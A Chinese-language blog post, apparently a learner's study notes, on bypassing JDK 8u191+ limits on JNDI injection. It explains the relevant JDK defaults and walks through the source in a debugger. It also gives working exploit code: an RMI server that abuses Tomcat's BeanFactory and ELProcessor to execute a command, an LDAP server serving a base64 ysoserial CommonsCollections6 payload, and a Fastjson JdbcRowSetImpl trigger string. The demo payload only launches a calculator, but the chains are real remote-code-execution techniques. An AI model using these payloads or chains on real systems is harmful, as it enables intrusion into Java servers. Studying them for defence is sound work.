JNDI注入绕过高版本限制已经被别人玩烂了,我才开始学。参考文章写的特别好。
JNDI注入本文大部分参考https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html
暂时只了解到 JNDI注入分为如下几类
- RMI Remote Object Payload(限制较多,不常使用)
- RMI + JNDI Reference Payload
- LDAP + JNDI Reference Payload
- CORBA攻击
对于CORBA我直接放弃。
RMI Remote Object Payload注:以下都摘自https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html
攻击者实现一个RMI恶意远程对象并绑定到RMI Registry上,编译后的RMI远程对象类可以放在HTTP/FTP/SMB等服务器上,这个Codebase地址由远程服务器的 java.rmi.server.codebase 属性设置,供受害者的RMI客户端远程加载,RMI客户端在 lookup() 的过程中,会先尝试在本地CLASSPATH中去获取对应的Stub类的定义,并从本地加载,然而如果在本地无法找到,RMI客户端则会向远程Codebase去获取攻击者指定的恶意对象,这种方式将会受到 useCodebaseonly 的限制。利用条件如下:
- RMI客户端的上下文环境允许访问远程Codebase。
- 属性 java.rmi.server.useCodebaseonly 的值必需为false。
然而从JDK 6u45、7u21开始,java.rmi.server.useCodebaseonly 的默认值就是true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前VM的java.rmi.server.codebase 指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。
Changelog:
- JDK 6u45 https://docs.oracle.com/javase/7/docs/technotes/guides/rmi/relnotes.html
- JDK 7u21 http://www.oracle.com/technetwork/java/javase/7u21-relnotes-1932873.html
这也是我们在《深入理解JNDI注入与Java反序列化漏洞利用》中主要讨论的利用方式。攻击者通过RMI服务返回一个JNDI Naming Reference,受害者解码Reference时会去我们指定的Codebase远程地址加载Factory类,但是原理上并非使用RMI Class Loading机制的,因此不受 java.rmi.server.useCodebaseonly 系统属性的限制,相对来说更加通用。
但是在JDK 6u132, JDK 7u122, JDK 8u113 JDK 6u141, JDK 7u131, JDK 8u121 中Java提升了JNDI 限制了Naming/Directory服务中JNDI Reference远程加载Object Factory类的特性。系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不允许从远程的Codebase加载Reference工厂类。如果需要开启 RMI Registry 或者 COS Naming Service Provider的远程类加载功能,需要将前面说的两个属性值设置为true。
注:上一段中JDK小版本号与下文Changelog对应的JDK小版本号不匹配,已更正,感谢@Satan指出~
想了解Java所有历史版本信息,可以移步:https://en.wikipedia.org/wiki/Java_version_history
Changelog:
- JDK 6u141 http://www.oracle.com/technetwork/java/javase/overview-156328.html#R160_141
- JDK 7u131 http://www.oracle.com/technetwork/java/javase/7u131-relnotes-3338543.html
- JDK 8u121 http://www.oracle.com/technetwork/java/javase/8u121-relnotes-3315208.html
除了RMI服务之外,JNDI还可以对接LDAP服务,LDAP也能返回JNDI Reference对象,利用过程与上面RMI Reference基本一致,只是lookup()中的URL为一个LDAP地址:ldap://xxx/xxx,由攻击者控制的LDAP服务端返回一个恶意的JNDI Reference对象。并且LDAP服务的Reference远程加载Factory类不受上一点中 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制,所以适用范围更广。
不过在2018年10月,Java最终也修复了这个利用点,对LDAP Reference远程工厂类的加载增加了限制,在Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false,还对应的分配了一个漏洞编号CVE-2018-3149。
综述注:以上都摘自https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html
RMI Remote Object Payload限制较多,在JDK 6u45、7u21以上,java.rmi.server.useCodebaseOnly默认值为true了。防止RMI客户端VM从其他Codebase地址上动态加载类。
对于RMI + JNDI Reference Payload,不受useCodebaseOnly的影响,因为他使用的是URLClassLoader加载远程类。而不是RMI Class loading。具体代码可查看参考文章。但在JDK 6u132, JDK 7u122, JDK 8u113版本中,系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不允许从远程的Codebase加载Reference工厂类。
对于LDAP + JNDI Reference Payload服务的Reference远程加载Factory类不受com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制,但是在Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false。
绕过JDK 8u191+等高版本限制所以对于Oracle JDK 11.0.1、8u191、7u201、6u211或者更高版本的JDK来说,默认环境下之前这些利用方式都已经失效。然而,我们依然可以进行绕过并完成利用。两种绕过方法如下:
- 找到一个受害者本地CLASSPATH中的类作为恶意的Reference Factory工厂类,并利用这个本地的Factory类执行命令。
- 利用LDAP直接返回一个恶意的序列化对象,JNDI注入依然会对该对象进行反序列化 *** 作,利用反序列化Gadget完成命令执行。
在高版本中(如:JDK8u191以上版本)虽然不能从远程加载恶意的Factory,但是我们依然可以在返回的Reference中指定Factory Class,这个工厂类必须在受害目标本地的CLASSPATH中。工厂类必须实现 javax.naming.spi.ObjectFactory 接口,并且至少存在一个 getObjectInstance()方法。org.apache.naming.factory.BeanFactory 刚好满足条件并且存在被利用的可能。org.apache.naming.factory.BeanFactory 存在于Tomcat依赖包中,所以使用也是非常广泛。
首先我本地使用的是JDK 8u202版本,
需要的依赖:
org.apache.tomcat.embed tomcat-embed-core8.5.35 org.apache.tomcat.embed tomcat-embed-el8.5.35
RMI服务端代码(攻击者部署)
package com.darkerbox.jndi.HignJdk; import com.sun.jndi.rmi.registry.ReferenceWrapper; import org.apache.naming.ResourceRef; import javax.naming.StringRefAddr; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class RMIServer { public static void main(String args[]) throws Exception { Registry registry = LocateRegistry.createRegistry(1099); // 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); // 强制将 'x' 属性的setter 从 'setX' 变为 'eval', 详细逻辑见 BeanFactory.getObjectInstance 代码 ref.add(new StringRefAddr("forceString", "Vicl1fe=eval")); ref.add(new StringRefAddr("Vicl1fe", """.getClass().forName("javax.script.scriptEngineManager").newInstance().getEngineByName("Javascript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['calc.exe']).start()")")); ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref); registry.bind("aa", referenceWrapper); } }
客户端代码不变。
package com.darkerbox.jndi; import javax.naming.Context; import javax.naming.InitialContext; public class Client { public static void main(String[] args) throws Exception { String uri = "rmi://127.0.0.1:1099/aa"; Context ctx = new InitialContext(); ctx.lookup(uri); } }
先运行服务端,再运行客户端,也是可以成功d出计算器。下面分析一下原理。
至于怎么到BeanFactory#getObjectInstance的,这里就不细说了,上篇文章我觉得比较详细了。放一张图。
在服务端定义ResourceRef的时候就已经将工厂类定义为了BeanFactory,所以会进入BeanFactory#getObjectInstance方法。
下面就是BeanFactory#getObjectInstance。我会省略一些代码
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable, ?> environment) throws NamingException { // 这里的obj就是我们在服务端定义的ResourceRef对象,所以会进入if判断 if (obj instanceof ResourceRef) { try { Reference ref = (Reference)obj; String beanClassName = ref.getClassName();// javax.el.ELProcessor Class> beanClass = null; ClassLoader tcl = Thread.currentThread().getContextClassLoader(); // 获取类加载器 // 成功获取类加载器就会进入if判断 if (tcl != null) { try { // 这里直接使用类加载器加载javax.el.ELProcessor beanClass = tcl.loadClass(beanClassName); } catch (ClassNotFoundException var26) { } } else { try { beanClass = Class.forName(beanClassName); } catch (ClassNotFoundException var25) { var25.printStackTrace(); } } // 如果没有加载成功,则抛出异常 if (beanClass == null) { throw new NamingException("Class not found: " + beanClassName); } else {// 进入这里 BeanInfo bi = Introspector.getBeanInfo(beanClass); PropertyDescriptor[] pda = bi.getPropertyDescriptors(); Object bean = beanClass.getConstructor().newInstance();// 这里实例化了javax.el.ELProcessor RefAddr ra = ref.get("forceString");// 这里获取forceString对应的RefAddr对象,RMI服务端代码中有定义 Mapforced = new HashMap(); String value; String propName; int i; if (ra != null) { value = (String)ra.getContent();// 获取到Vicl1fe=eval Class>[] paramTypes = new Class[]{String.class}; String[] arr$ = value.split(","); // 如果是多个值,用','分割。 i = arr$.length; for(int i$ = 0; i$ < i; ++i$) { String param = arr$[i$];// Vicl1fe=eval param = param.trim();// Vicl1fe=eval int index = param.indexOf(61); // 获取'='的位置。获取到则进入if判断,这来index值为7 // 这里进入if判断 if (index >= 0) { propName = param.substring(index + 1).trim();// eval param = param.substring(0, index).trim(); // Vicl1fe } else { // 如果没有获取到'=',则进入else判断 // 这里会在前面加'set',然后拼接param,并且param首字母大写。 propName = "set" + param.substring(0, 1).toUpperCase(Locale.ENGLISH) + param.substring(1); } try { // 这里向Hashmap中添加一个元素 // key为Vicl1fe,value是eval方法。最终就是执行ELProcessor的eval方法。 forced.put(param, beanClass.getMethod(propName, paramTypes)); } catch (SecurityException | NoSuchMethodException var24) { throw new NamingException("Forced String setter " + propName + " not found for property " + param); } } } Enumeration e = ref.getAll(); while(true) { while(true) { do { do { do { do { do { if (!e.hasMoreElements()) { return bean; } ra = (RefAddr)e.nextElement(); propName = ra.getType(); } while(propName.equals("factory")); } while(propName.equals("scope")); } while(propName.equals("auth")); } while(propName.equals("forceString")); } while(propName.equals("singleton")); // 上面5个do While循环我感觉就是排除掉Reference类中addrs属性里面自身自带的属性。如factory、scope等。 // 因为我们在服务端也主动加了ref.add(new StringRefAddr("Vicl1fe", """.getClass().forName("javax.script.scriptEngineManager").newInstance().getEngineByName("Javascript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['calc.exe']).start()")")); // 所以排除过后。这里ra即new StringRefAddr("Vicl1fe", """.getClass().forName("javax.script.scriptEngineManager").newInstance().getEngineByName("Javascript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['calc.exe']).start()")") value = (String)ra.getContent(); // "".getClass().forName("javax.script.scriptEngineManager").newInstance().getEngineByName("Javascript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['calc.exe']).start()") Object[] valueArray = new Object[1]; // 这里propName值为Vicl1fe,则获取的是eval方法对象。 Method method = (Method)forced.get(propName); if (method != null) { valueArray[0] = value; try { // 这里直接执行了ELProcessor#eval方法 // 可以理解为Beanfactory#getObjectInstance方法中调用任意类的任意方法,并可传入参数,该方法必须存在才可。 method.invoke(bean, valueArray); } catch (IllegalArgumentException | InvocationTargetException | IllegalAccessException var23) { throw new NamingException("Forced String setter " + method.getName() + " threw exception for property " + propName); } } else { int i = false; // 省略... } } } } else { return null; } }
后面就是分析ELProcessor.eval是如何解析"".getClass().forName("javax.script.scriptEngineManager").newInstance().getEngineByName("Javascript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['calc.exe']).start()")。然后命令执行的。
自己对EL表达式也不熟,也在EL表达式里跟了半天。比较麻烦,不打算在文章里细说,大概说一下流程:
进入ELProcessor的eval方法后,会解析"".getClass().forName("javax.script.scriptEngineManager").newInstance().getEngineByName("Javascript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['calc.exe']).start()"),将里面的每个方法(getClass、forName、newInstance等),每个参数放到一个Vector里。然后依次调用里面的方法。最终会调用NashornscriptEngine#eval方法。传入的参数为new java.lang.ProcessBuilder['(java.lang.String[])'](['calc.exe']).start()。后面就会成功的命令执行。
附一张堆栈图吧,有兴趣的可以再深入跟一下
这种绕过方式需要目标环境中存在Tomcat相关依赖,当然其他Java Server可能也存在可被利用的Factory类,可以进一步研究。
总结一下,该利用方式可以通过BeanFactory#getObjectInstance实例化任意类的默认构造方法(即无参数的构造方法)的对象(该类必须可实例化,为public),之后会通过反射去调用该类的任意方法,但是该方法必须是一个参数,参数必须是String类型。
可以通过上面总结的去找找其他的利用链。
这里先简单说一下低版本下的ldap,因为之前也没分析过。低版本下的ldap服务端在上篇文章中提到了。这里不放代码了,至于客户端也都是一样的。
因为这里我不打算细说,所以先放前面一些无关紧要的堆栈图
此时已经跟在LdapCtx#c_lookup方法中,师傅们可以直接下断点。
protected Object c_lookup(Name var1, Continuation var2) throws NamingException { // 省略... try { // 省略... // 这里会请求ldap服务端,得到LdapResult。 LdapResult var23 = this.doSearchOnce(var1, "(objectClass=*)", var22, true); this.respCtls = var23.resControls; if (var23.status != 0) { this.processReturnCode(var23, var1); } // 省略... // Obj.JAVA_ATTRIBUTES[2]的值为javaClassName。 // 这里的var4其实就是ldap服务端的Entry对象。可能中间封装过,但可以这么去理解。我们在ldap服务端已经这是了javaClassName为foo。 // 这里会判断var4是否存在javaClassName。 // 这里会进入 if (((Attributes)var4).get(Obj.JAVA_ATTRIBUTES[2]) != null) { var3 = Obj.decodeObject((Attributes)var4); } // decodeObject源码如下,凑合着吧, ``` static Object decodeObject(Attributes var0) throws NamingException { String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4])); try { Attribute var1; // JAVA_ATTRIBUTES[0] = "objectClass" // JAVA_ATTRIBUTES[1] = "javaSerializedData" // JAVA_ATTRIBUTES[2] = "javaClassName" // JAVA_ATTRIBUTES[3] = "javaFactory" // JAVA_ATTRIBUTES[4] = "javaCodebase" // JAVA_ATTRIBUTES[5] = "javaReferenceAddress" // JAVA_ATTRIBUTES[6] = "javaClassNames" // JAVA_ATTRIBUTES[7] = "javaRemoteLocation" // 这里的判断 if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) { ClassLoader var3 = helper.getURLClassLoader(var2); return deserializeObject((byte[])((byte[])var1.get()), var3); } else if ((var1 = var0.get(JAVA_ATTRIBUTES[7])) != null) { return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]).get(), (String)var1.get(), var2); } else {// 进入这里 // String[] JAVA_OBJECT_CLASSES = new String[]{"javaContainer", "javaObject", "javaNamingReference", "javaSerializedObject", "javaMarshalledObject"}; // String[] JAVA_OBJECT_CLASSES_LOWER = new String[]{"javacontainer", "javaobject", "javanamingreference", "javaserializedobject", "javamarshalledobject"}; // 所以会进入decodeReference方法,该方法里获取了Reference对象,即classFactoryLocation、classFactory等信息。 var1 = var0.get(JAVA_ATTRIBUTES[0]); return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2); } } catch (IOException var5) { NamingException var4 = new NamingException(); var4.setRootCause(var5); throw var4; } } ``` // 省略... try { // 进入这里 // var3就是获取到的Reference对象. return DirectoryManager.getObjectInstance(var3, var1, this, this.envprops, (Attributes)var4); // 进入该方法后会调用NamingManager#getObjectFactoryFromReference。进入这个方法后其实就和RMi的一样的。你会发现RMI最终也是调用这个方法。在该方法里会通过Reference对象获取到codebase。然后远程加载恶意类。 } catch (NamingException var16) { throw var2.fillInException(var16); } catch (Exception var17) { NamingException var24 = new NamingException("problem generating object using object factory"); var24.setRootCause(var17); throw var2.fillInException(var24); } }高版本的LDAP
上面说了低版本下的LDAP的大概流程。下面再看看高版本的区别。我这里高版本还是用的202
在高版本jdk中NamingManager#getObjectFactoryFromReference方法中,这里是RMI和JNDI都会调用的地方。
跟进loadClass方法。
public Class> loadClass(String className, String codebase) throws ClassNotFoundException, MalformedURLException { // ,trustURLCodebase默认为false // 这里有个if判断,因为默认为fasle,所以进入else,返回null if ("true".equalsIgnoreCase(trustURLCodebase)) { ClassLoader parent = getContextClassLoader(); ClassLoader cl = URLClassLoader.newInstance(getUrlArray(codebase), parent); return loadClass(className, cl); } else { return null; } }
这就是jdk高版本ldap下不可用的原因。
LDAP绕过高版本限制LDAP全称是轻量级目录访问协议(The Lightweight Directory Access Protocol),它提供了一种查询、浏览、搜索和修改互联网目录数据的机制,运行在TCP/IP协议栈之上,基于C/S架构。除了RMI服务之外,JNDI也可以与LDAP目录服务进行交互。
Java对象在LDAP目录中也有多种存储形式,如下:
- Java序列化
- JNDI Reference
- Marshalled对象
- Remote Location (已弃用)
LDAP可以为存储的Java对象指定多种属性:
- javaCodebase
- objectClass
- javaFactory
- javaSerializedData
- …
注意一个是对象的存储形式,一个是给对象指定多种属性
javaCodebase可以指定远程的URL,这样攻击者可以控制加载的类。通过Reference方式进行利用。(即Reference + javaCodebase)众所周知,高版本JVM对Reference Factory远程加载类进行了安全限制,JVM不会信任LDAP对象反序列化过程中加载的远程类。既然不能加载远程类,那我们可以加载本地的classpath中存在反序列化漏洞的类。例如commons-collections 3.1。
也就是说。LDAP除了可以利用JNDI Reference外,也可以直接返回一个序列化数据。即(Java序列化 + javaSerializedData)。接下来就细说该方法。
此时我们需要加一个依赖,因为我们需要让他本地存在反序列化漏洞。
commons-collections commons-collections3.1
LDAP服务端代码如下,其中javaSerializedData是通过ysoserial的CC6来生成的。
package com.darkerbox.jndi.HignJdk; import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; import com.unboundid.util.base64; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import java.net.InetAddress; import java.net.MalformedURLException; import java.net.URL; import java.text.ParseException; public class LDAPServer { private static final String LDAP_base = "dc=example,dc=com"; public static void main ( String[] tmp_args ) { String[] args=new String[]{"http://127.0.0.1:8089/#ExecTest"}; int port = 1389; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_base); config.setListenerConfigs(new InMemoryListenerConfig( "listen", //$NON-NLS-1$ InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$ port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ]))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$ ds.startListening(); } catch ( Exception e ) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; public OperationInterceptor ( URL cb ) { this.codebase = cb; } @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getbaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "foo"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); } // e.addAttribute("javaCodebase", cbstring); // e.addAttribute("objectClass", "javaNamingReference"); // e.addAttribute("javaFactory", this.codebase.getRef()); try { // java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 '/Applications/Calculator.app/Contents/MacOS/Calculator'|base64 e.addAttribute("javaSerializedData",base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AAhjYWxjLmV4ZXQABGV4ZWN1cQB+ABsAAAABcQB+ACBzcQB+AA9zcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHh4")); } catch (ParseException e1) { e1.printStackTrace(); } result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } } }
客户端代码还是老样子。
先运行服务端,再运行客户端。
断点下在com.sun.jndi.ldap.Obj#decodeObject方法。该方法上面也提到过
static Object decodeObject(Attributes var0) throws NamingException { String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4])); try { Attribute var1; // JAVA_ATTRIBUTES[1]值为javaSerializedData。只要该值不为null,则就进入if判断 // 在LDAP服务端的时候我们已经设置过了javaSerializedData,所以此处进入了if判断 if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) { // 这里的var1就是我们的序列化的payload // var3是AppClassLoader ClassLoader var3 = helper.getURLClassLoader(var2); // 进入此处deserializeObject return deserializeObject((byte[])((byte[])var1.get()), var3); } else if ((var1 = var0.get(JAVA_ATTRIBUTES[7])) != null) { return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]).get(), (String)var1.get(), var2); } else { var1 = var0.get(JAVA_ATTRIBUTES[0]); return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2); } } catch (IOException var5) { NamingException var4 = new NamingException(); var4.setRootCause(var5); throw var4; } }
com.sun.jndi.ldap.Obj#deserializeObject
private static Object deserializeObject(byte[] var0, ClassLoader var1) throws NamingException { try {// var0就是我们的cc6 ByteArrayInputStream var2 = new ByteArrayInputStream(var0); try { Object var20 = var1 == null ? new ObjectInputStream(var2) : new Obj.LoaderInputStream(var2, var1); Throwable var21 = null; Object var5; try { // 我这里调试的时候一直调不到这里,打算最后强制进入,还是进入了readObject方法,说明最终是肯定会执行readObject的。 // 这里也就成功d出了计算器 var5 = ((ObjectInputStream)var20).readObject(); } catch (Throwable var16) { var21 = var16; throw var16; } finally { if (var20 != null) { if (var21 != null) { try { ((ObjectInputStream)var20).close(); } catch (Throwable var15) { var21.addSuppressed(var15); } } else { ((ObjectInputStream)var20).close(); } } } return var5; } catch (ClassNotFoundException var18) { NamingException var4 = new NamingException(); var4.setRootCause(var18); throw var4; } } catch (IOException var19) { NamingException var3 = new NamingException(); var3.setRootCause(var19); throw var3; } }
这种绕过方式需要利用一个本地的反序列化利用链(如CommonsCollections),然后可以结合Fastjson等漏洞入口点和JdbcRowSetImpl进行组合利用。
例如如下代码即可:
package com.darkerbox.jndi; import com.alibaba.fastjson.JSON; public class Client { public static void main(String[] args) throws Exception { String payload ="{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1389/Exploit","autoCommit":"true" }"; JSON.parse(payload); } }最后
文章中很多都参考了https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html该文章。对原作者致谢。我也在seebug看到了相同的文章https://paper.seebug.org/942/
参考https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)